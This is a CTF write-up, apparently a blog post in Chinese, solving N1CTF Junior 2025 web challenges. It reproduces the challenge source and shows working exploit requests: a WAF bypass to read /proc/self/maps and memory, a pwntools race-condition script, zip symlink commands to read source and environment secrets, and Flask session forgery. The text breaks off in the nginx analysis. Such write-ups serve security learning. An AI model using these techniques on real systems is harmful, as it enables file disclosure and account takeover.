目录

  1. 1. 前言
  2. 2. ping
  3. 3. Peek a Fork
    1. 3.1. 非预期
    2. 3.2. 预期
  4. 4. online_unzipper
  5. 5. Unfinished(复现)
    1. 5.1. 非预期
    2. 5.2. 预期
  6. 6. safenotes(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

N1CTF Junior 2025 2/2

2025/9/13 CTF线上赛
  |     |   总文章阅读量:

前言

参考:

ZianTT 的 wp:https://mp.weixin.qq.com/s/NtgULOY4uKJ5MT3L5WLcqA


ping

import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

    try:
        process = subprocess.run(
            command,
            shell=True,
            check=True,
            capture_output=True,
            text=True
        )
        return process.stdout
    except Exception as e:
        return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
    data = flask.request.json
    ip_base64 = data.get('ip_base64')
    if not ip_base64:
        return flask.jsonify({'error': 'no ip'}), 400

    result = run_ping(ip_base64)
    if result:
        return flask.jsonify({'success': True, 'output': result}), 200
    else:
        return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
    return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

看一下限制:

  • 解码后的 ip 必须是 x.x.x.x 形式
  • . 必须为三个
  • . 分隔的每部分必须能 int 转化为 0 到 256 的数
  • 满足 ipv4 或者 ipv6
  • ip 长度不能超过 15

命令执行:

echo "ping -c 1 $(echo '' | base64 -d)" | sh

猜测和 b64decodebase64 -d 的差异有关

找到一个 b64decode 的 bug:https://bugs.python.org/issue34832

而同样的内容在 base64 -d 上可以正常解码,那么构造命令执行即可


Peek a Fork

/entrypoint.sh

#!/bin/sh
set -e

echo "$FLAG" > /app/flag.txt

unset FLAG

exec python /app/server.py

flag 就在当前目录下 flag.txt,但是要绕过 403 waf

fuzz 一下发现 ban 了 '><"^./..flag

后面发现给了源码

server.py

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
    flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Gateway</title>
    <style>
        body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
        .container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
        h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
        p { font-size: 1.2rem; }
        .status { color: #ffff00; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Firewall</h1>
        <p class="status">STATUS: All systems operational.</p>
        <p>Your connection has been inspected.</p>
    </div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
    try:
        conn.settimeout(10.0)

        if log:
            with open('log.txt', 'a') as f:
                fcntl.flock(f, fcntl.LOCK_EX)
                log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
                for _ in range(factor):
                    log_bytes = hashlib.sha3_256(log_bytes).digest()
                log_entry = log_bytes.hex() + "\n"
                f.write(log_entry)
                
        request_data = conn.recv(256)
        if not request_data.startswith(b"GET /"):
            response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
            conn.sendall(response)
            return
        try:
            path = request_data.split(b' ')[1]
            pattern = rb'\?offset=(\d+)&length=(\d+)'
            
            offset = 0
            length = -1

            match = re.search(pattern, path)

            if match:
                offset = int(match.group(1).decode())
                length = int(match.group(2).decode())
                
                clean_path = re.sub(pattern, b'', path)
                filename = clean_path.strip(b'/').decode()
            else:
                filename = path.strip(b'/').decode()

        except Exception:
            response = b"HTTP/1.1 400 Bad Request\r\n\r\nInvalid Request"
            conn.sendall(response)
            return

        if not filename:
            response_body = PAGE
            response_status = "200 OK"
        else:
            try:
                with open(os.path.normpath(filename), 'rb') as f:
                    if offset > 0:
                        f.seek(offset)
                    
                    data_bytes = f.read(length)
                    response_body = data_bytes.decode('utf-8', 'ignore')
                response_status = "200 OK"
            except Exception as e:
                response_body = f"Invalid path"
                response_status = "500 Internal Server Error"

        response = f"HTTP/1.1 {response_status}\r\nContent-Length: {len(response_body)}\r\n\r\n{response_body}"
        conn.sendall(response.encode())
        
    except Exception:
        pass
    finally:
        conn.close()
        os._exit(0)

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', 1337))
    server.listen(50)
    print(f"Server listening on port 1337...")

    while True:
        try:
            pid, status = os.waitpid(-1, os.WNOHANG)
        except ChildProcessError:
            pass
        conn, addr = server.accept()

        initial_data = conn.recv(256, socket.MSG_PEEK)
        if any(term in initial_data.lower() for term in FORBIDDEN):
            conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
            conn.close()
            continue
            
        if initial_data.startswith(b'GET /?log=1'):
            try:
                factor = 1
                pattern = rb"&factor=(\d+)"
                match = re.search(pattern, initial_data)
                if match:
                    factor = int(match.group(1).decode())
                pid = os.fork()
                if pid == 0:
                    server.close()
                    handle_connection(conn, addr, True, factor)
            except Exception as e:
                print("[ERROR]: ", e)
            finally:
                conn.close()
                continue
        else:
            pid = os.fork()
            if pid == 0:
                server.close()
                handle_connection(conn, addr, False)
        
        conn.close()

if __name__ == '__main__':
    main()

直接把 flag 读到内存之后删了

非预期

注意这里:

pattern = rb'\?offset=(\d+)&length=(\d+)'

clean_path = re.sub(pattern, b'', path)

匹配直接替换为空是一个危险的设计,用这个插在两个字符之间即可绕过 forbidden

GET /.?offset=0&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/maps HTTP/1.1
Host: 60.205.163.215:17309

因为 flag 读到内存里了,我们需要读 /proc/self/mem,先获取 maps

56395827e000-56395827f000 r--p 00000000 103:00 15523385                  /usr/local/bin/python3.12
56395827f000-563958280000 r-xp 00001000 103:00 15523385                  /usr/local/bin/python3.12
563958280000-563958281000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
563958281000-563958282000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
563958282000-563958283000 rw-p 00003000 103:00 15523385                  /usr/local/bin/python3.12
563959f5f000-56395a3b0000 rw-p 00000000 00:00 0                          [heap]
7fa2fe996000-7fa2fe998000 r--p 00000000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe998000-7fa2fe99b000 r-xp 00002000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99b000-7fa2fe99d000 r--p 00005000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99d000-7fa2fe99e000 r--p 00006000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99e000-7fa2fe99f000 rw-p 00007000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99f000-7fa2fe9a0000 r--p 00000000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a0000-7fa2fe9a2000 r-xp 00001000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a2000-7fa2fe9a4000 r--p 00003000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a4000-7fa2fe9a5000 r--p 00004000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a5000-7fa2fe9a6000 rw-p 00005000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a6000-7fa2fe9a8000 r--p 00000000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9a8000-7fa2fe9af000 r-xp 00002000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9af000-7fa2fe9b1000 r--p 00009000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b1000-7fa2fe9b2000 r--p 0000a000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b2000-7fa2fe9b3000 rw-p 0000b000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b3000-7fa2fe9b8000 r--p 00000000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fe9b8000-7fa2fea67000 r-xp 00005000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea67000-7fa2fea7b000 r--p 000b4000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7b000-7fa2fea7c000 r--p 000c8000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7c000-7fa2fea7d000 rw-p 000c9000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7d000-7fa2fea80000 r--p 00000000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea80000-7fa2fea94000 r-xp 00003000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea94000-7fa2fea9b000 r--p 00017000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9b000-7fa2fea9c000 r--p 0001d000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9c000-7fa2fea9d000 rw-p 0001e000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9d000-7fa2feb94000 r--p 00000000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2feb94000-7fa2fef15000 r-xp 000f7000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2fef15000-7fa2ff04c000 r--p 00478000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff04c000-7fa2ff0cf000 r--p 005ae000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0cf000-7fa2ff0d2000 rw-p 00631000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0d2000-7fa2ff0d5000 rw-p 00000000 00:00 0 
7fa2ff0d5000-7fa2ff0d9000 r--p 00000000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0d9000-7fa2ff0df000 r-xp 00004000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0df000-7fa2ff0e3000 r--p 0000a000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e3000-7fa2ff0e4000 r--p 0000d000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e4000-7fa2ff0e6000 rw-p 0000e000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e6000-7fa2ff0ea000 r--p 00000000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0ea000-7fa2ff0f1000 r-xp 00004000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f1000-7fa2ff0f5000 r--p 0000b000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f5000-7fa2ff0f6000 r--p 0000f000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f6000-7fa2ff0f7000 rw-p 00010000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f7000-7fa2ff1f7000 rw-p 00000000 00:00 0 
7fa2ff1f7000-7fa2ff1f9000 r--p 00000000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1f9000-7fa2ff1fc000 r-xp 00002000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fc000-7fa2ff1fe000 r--p 00005000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fe000-7fa2ff1ff000 r--p 00006000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1ff000-7fa2ff200000 rw-p 00007000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff200000-7fa2ff300000 rw-p 00000000 00:00 0 
7fa2ff300000-7fa2ff304000 r--p 00000000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff304000-7fa2ff30f000 r-xp 00004000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff30f000-7fa2ff318000 r--p 0000f000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff318000-7fa2ff319000 r--p 00017000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff319000-7fa2ff31a000 rw-p 00018000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff31a000-7fa2ff51a000 rw-p 00000000 00:00 0 
7fa2ff51a000-7fa2ff52b000 r--p 00000000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff52b000-7fa2ff5a8000 r-xp 00011000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff5a8000-7fa2ff608000 r--p 0008e000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff608000-7fa2ff609000 r--p 000ed000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff609000-7fa2ff60a000 rw-p 000ee000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff60a000-7fa2ff632000 r--p 00000000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff632000-7fa2ff797000 r-xp 00028000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff797000-7fa2ff7ed000 r--p 0018d000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7ed000-7fa2ff7f1000 r--p 001e2000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f1000-7fa2ff7f3000 rw-p 001e6000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f3000-7fa2ff800000 rw-p 00000000 00:00 0 
7fa2ff800000-7fa2ff900000 r--p 00000000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ff900000-7fa2ffb1f000 r-xp 00100000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffb1f000-7fa2ffc6f000 r--p 0031f000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffc6f000-7fa2ffce6000 r--p 0046e000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffce6000-7fa2ffe55000 rw-p 004e5000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffe55000-7fa2ffe56000 rw-p 00000000 00:00 0 
7fa2ffe5c000-7fa2ffe5f000 r--p 00000000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe5f000-7fa2ffe67000 r-xp 00003000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe67000-7fa2ffe6c000 r--p 0000b000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6c000-7fa2ffe6d000 r--p 0000f000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6d000-7fa2ffe6e000 rw-p 00010000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6e000-7fa2ffed4000 rw-p 00000000 00:00 0 
7fa2ffed4000-7fa2ffedb000 r--s 00000000 103:00 15520059                  /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa2ffedb000-7fa2fff35000 r--p 00000000 103:00 15519696                  /usr/lib/locale/C.utf8/LC_CTYPE
7fa2fff35000-7fa2fff37000 rw-p 00000000 00:00 0 
7fa2fff38000-7fa2fff39000 rw-s 00000000 00:01 6174                       /dev/zero (deleted)
7fa2fff39000-7fa2fff3b000 rw-p 00000000 00:00 0 
7fa2fff3b000-7fa2fff3c000 r--p 00000000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff3c000-7fa2fff64000 r-xp 00001000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff64000-7fa2fff6f000 r--p 00029000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff6f000-7fa2fff71000 r--p 00034000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff71000-7fa2fff72000 rw-p 00036000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff72000-7fa2fff73000 rw-p 00000000 00:00 0 
7ffe68e9d000-7ffe68ebe000 rw-p 00000000 00:00 0                          [stack]
7ffe68ec9000-7ffe68ecd000 r--p 00000000 00:00 0                          [vvar]
7ffe68ecd000-7ffe68ecf000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

然后掏出祖传脚本算偏移和长度:

import re

maps=open('maps')
b = maps.read()
list = b.split('\n')
for line in list:
    if 'rw' in line:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
        print(start,end)
        print(end-start)

因为不清楚在哪一段内存里面于是每个都算出来手动 fuzz 了(

最后也是可以看到是在 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so 这一段里面

预期

给了那么大一个 log 不可能不用

代码里进行了两次 recv,与 waf 相关的是这一段

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
    conn.sendall(b"HTTP/1.1 403 Forbidden\r\n\r\nSuspicious request pattern detected.")
    conn.close()
    continue

通常 recv() 函数的最后一个参数为0,代表从缓冲区取走数据,而当为 MSG_PEEK 时代表只是查看数据,而不取走数据。

也就是说数据会留在缓冲区,而正式读入是在 handle_connection,一旦读取则会把数据移除缓冲区

def handle_connection(conn, addr, log, factor=1):
    try:
        conn.settimeout(10.0)

        if log:
            with open('log.txt', 'a') as f:
                fcntl.flock(f, fcntl.LOCK_EX)
                log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
                for _ in range(factor):
                    log_bytes = hashlib.sha3_256(log_bytes).digest()
                log_entry = log_bytes.hex() + "\n"
                f.write(log_entry)
                
        request_data = conn.recv(256)

在读入前,如果开了 log 模式,会优先进行 log 再读入,而如果这里 factor 的值给高了则会卡在 log 这里一段时间,那么缓冲区中就会持续存在 GET /?log=1&factor=100000,此时如果在通过 MSG_PEEK 后缓冲区还未清除之前立刻插入 /../../../proc/self/maps ,那么实际进入 request_data = conn.recv(256) 的缓冲区内为 GET /?log=1&factor=100000/../../../proc/self/maps

exp:

from pwn import *

host = 'localhost'
port = 1337

remote1 = remote(host, port)
remote1.send(b'GET /?log=1&factor=100000')
time.sleep(0.01)
remote1.send(f'/../../../../proc/self/maps'.encode())
resp = remote1.recv()
print(resp)

这样就能读到 maps,然后就是翻 mem 了


online_unzipper

给了个注册,有 session,解出来是 {"role":"user","username":"admin"}

有压缩包上传并解压,明显是打软链接,读 app.py

ln -s /app/app.py toapppy
zip -y ln.zip toapppy

上传解压,然后访问 toapppy 得到源码

import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
    if "username" not in session:
        return redirect(url_for("login"))
    return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users:
            return "用户名已存在"

        users[username] = {"password": password, "role": "user"}
        return redirect(url_for("login"))

    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]

        if username in users and users[username]["password"] == password:
            session["username"] = username
            session["role"] = users[username]["role"]
            return redirect(url_for("upload"))
        else:
            return "用户名或密码错误"

    return render_template("login.html")

@app.route("/logout")
def logout():
    session.clear()
    return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if "username" not in session:
        return redirect(url_for("login"))

    if request.method == "POST":
        file = request.files["file"]
        if not file:
            return "未选择文件"

        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())
        else:
            dirname = str(uuid.uuid4())

        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")
        except:
            return "解压失败,请检查文件格式"

        os.remove(zip_path)
        return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

    return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
    target_dir = os.path.join(UPLOAD_FOLDER, folder)
    if not os.path.exists(target_dir):
        abort(404)

    files = os.listdir(target_dir)
    return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
    file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
    try:
        with open(file_path, 'r') as file:
            content = file.read()
        return Response(
            content,
            mimetype="application/octet-stream",
            headers={
                "Content-Disposition": f"attachment; filename={filename}"
            }
        )
    except FileNotFoundError:
        return "File not found", 404
    except Exception as e:
        return f"Error: {str(e)}", 500


if __name__ == "__main__":
    app.run(host="0.0.0.0")

看来 key 应该是在环境变量里,同样的方法读 /proc/self/environ 拿到 FLASK_SECRET_KEY=#mu0cw9F#7bBCoF!

修改 session 的 role 为 admin,成为管理员后可指定上传文件的位置

接下来的问题是怎么列出根目录下的文件,我们只需要上传一个根目录的软链接到 uploads 下,然后再上传一次,指定位置为软链接名即可

上传到根目录的软链接 torootpath(这里是之前指定 dirname 为 .,于是可以查看 uploads 目录的内容)

然后再上传一次,指定 dirname 为 torootpath,使其视为目录访问

列出根目录

访问即可得到 flag

做完了才发现后面上了附件


Unfinished(复现)

明显要 xss

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
    def __init__(self, id, username, password, bio=""):
        self.id = id
        self.username = username
        self.password = password
        self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
    for user in USERS_DB.values():
        if str(user.id) == user_id:
            return user
    return None

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    global USER_ID_COUNTER
    if request.method == 'POST':
        username = request.form['username']
        if username in USERS_DB:
            flash('Username already exists.')
            return redirect(url_for('register'))
        
        USER_ID_COUNTER += 1
        new_user = User(
            id=USER_ID_COUNTER,
            username=username,
            password=request.form['password']
        )
        USERS_DB[username] = new_user
        login_user(new_user)
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', 'your_ticket_value')
        return response
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = USERS_DB.get(username)
        if user and user.password == password:
            login_user(user)
            return redirect(url_for('index'))
        flash('Invalid credentials.')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'POST':
        current_user.bio = request.form['bio']
        print(current_user.bio)
        return redirect(url_for('index'))
    return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
    if request.method == 'POST':
        ticket = request.form['ticket']
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', ticket)
        return response
    return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
    """
    # I found a bug in it.
    # Until I fix it, I've banned /api/bio/. Have fun :)
    """
    username = request.args.get("username",default=current_user.username)
    visit_url(f"http://localhost/api/bio/{username}")
    template = f"""
    {{% extends "base.html" %}}
    {{% block title %}}success{{% endblock %}}
    {{% block content %}}
    <h1>bot will visit your bio</h1>
    <p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
    {{% endblock %}}
    """
    return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
    if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

def visit_url(url):
    try:
        flag_value = os.environ.get('FLAG', 'flag{fake}')

        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
            context = browser.new_context()

            context.add_cookies([{
                'name': 'flag',
                'value': flag_value,
                'domain': 'localhost',
                'path': '/',
                'httponly': True
            }])

            page = context.new_page()
            page.goto("http://localhost/login", timeout=5000)
            page.fill("input[name='username']", "admin")
            page.fill("input[name='password']", admin_password)
            page.click("input[name='submit']")
            page.wait_for_timeout(3000)
            page.goto(url, timeout=5000)
            page.wait_for_timeout(5000)
            browser.close()

    except Exception as e:
        print(f"Bot error: {str(e)}")


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

nginx.conf

user  www-data;
worker_processes  auto;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;

    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    server {
        listen 80 default_server;
        server_name _;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /api/bio/ {
            return 403;
        }

        location ~ \.(css|js)$ {
            proxy_pass http://127.0.0.1:5000;
            proxy_ignore_headers Vary;
            proxy_cache static_cache;
            proxy_cache_valid 200 10m;
        }
    }
}

如果没有 403 限制的话,访问 /api/bio/username 会返回 user.bio,bio 是我们可控的,可以 xss

但是

@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
    if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

测试发现远程环境的 key 也是 your-secret-key-here,那么可以登录到 admin

另一个问题是 visit_url(f"http://localhost/api/bio/{username}") 直接走的 nginx 一定会被 403 拦下来

观察这里

location ~ \.(css|js)$ {
